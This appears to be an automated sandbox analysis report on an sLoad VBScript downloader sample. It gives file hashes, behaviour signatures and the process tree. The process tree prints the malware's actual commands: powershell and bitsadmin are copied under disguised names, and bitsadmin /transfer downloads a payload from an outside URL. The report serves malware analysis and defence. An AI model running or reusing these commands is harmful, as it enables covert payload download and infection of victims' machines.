Analysis

  • max time kernel
    137s
  • max time network
    123s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240802-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
  • submitted
    11-08-2024 04:49

General

  • Target

    890e606bc524548cde60d468e944b461_JaffaCakes118.vbs

  • Size

    7KB

  • MD5

    890e606bc524548cde60d468e944b461

  • SHA1

    c3cb9d8ce2e9dfbb879eed2317e4a61ceb7acfaf

  • SHA256

    c52e8e5dd3b2d97071b6c08199684594bf50bafe18724a013dc83988b6631894

  • SHA512

    c227bc4b873933b99903baf75f4fb7ae11743fd42f7fffb39b8215fe3f84d1368700157ec574d155a6b120bd59dda7d95923f667490436521c720398d746315b

  • SSDEEP

    192:pF3F1DtwCkPCpxcyJQhkP76yOMAAMmVktlPvUUJtu0:XDtwCkPocGrP76yOMAA5V+XUUJc0

Malware Config

Signatures

  • sLoad

    sLoad is a PowerShell downloader that can exfiltrate system information and deliver additional payloads.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Suspicious use of WriteProcessMemory 9 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\890e606bc524548cde60d468e944b461_JaffaCakes118.vbs"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:2436
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c cmd /c copy /Z c:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\ProgramData\aROAAO.exe & cmd /c copy /Y /Z c:\Windows\SysWOW64\bi*.exe C:\ProgramData\PVKbwye*.exe
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:4656
      • C:\Windows\system32\cmd.exe
        cmd /c copy /Z c:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\ProgramData\aROAAO.exe
        3⤵
          PID:3976
        • C:\Windows\system32\cmd.exe
          cmd /c copy /Y /Z c:\Windows\SysWOW64\bi*.exe C:\ProgramData\PVKbwye*.exe
          3⤵
            PID:5088
        • C:\ProgramData\PVKbwyein.exe
          "C:\ProgramData\PVKbwyein.exe" /wrap /transfer mjnhWNUX https://myriamherman.com/whooma/GRZMHL77R29D122E/developer.rtf C:\ProgramData\developer.rtf
          2⤵
          • Executes dropped EXE
          • System Location Discovery: System Language Discovery
          PID:1344

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • C:\ProgramData\PVKbwyein.exe

        Filesize

        182KB

        MD5

        f57a03fa0e654b393bb078d1c60695f3

        SHA1

        1ced6636bd2462c0f1b64775e1981d22ae57af0b

        SHA256

        c93b7734470cf96c5170f7b21f361cdf3f74ca819626c83c4b8a68210deeb35c

        SHA512

        7e84dd9a3e29523d25c0927424261ced908191e3151c9802b61fa3c5fe13d1192d19996cb435bb6d9be5731b8370e8ffb6ad26a4ba0733e212a103eb0bd75a2a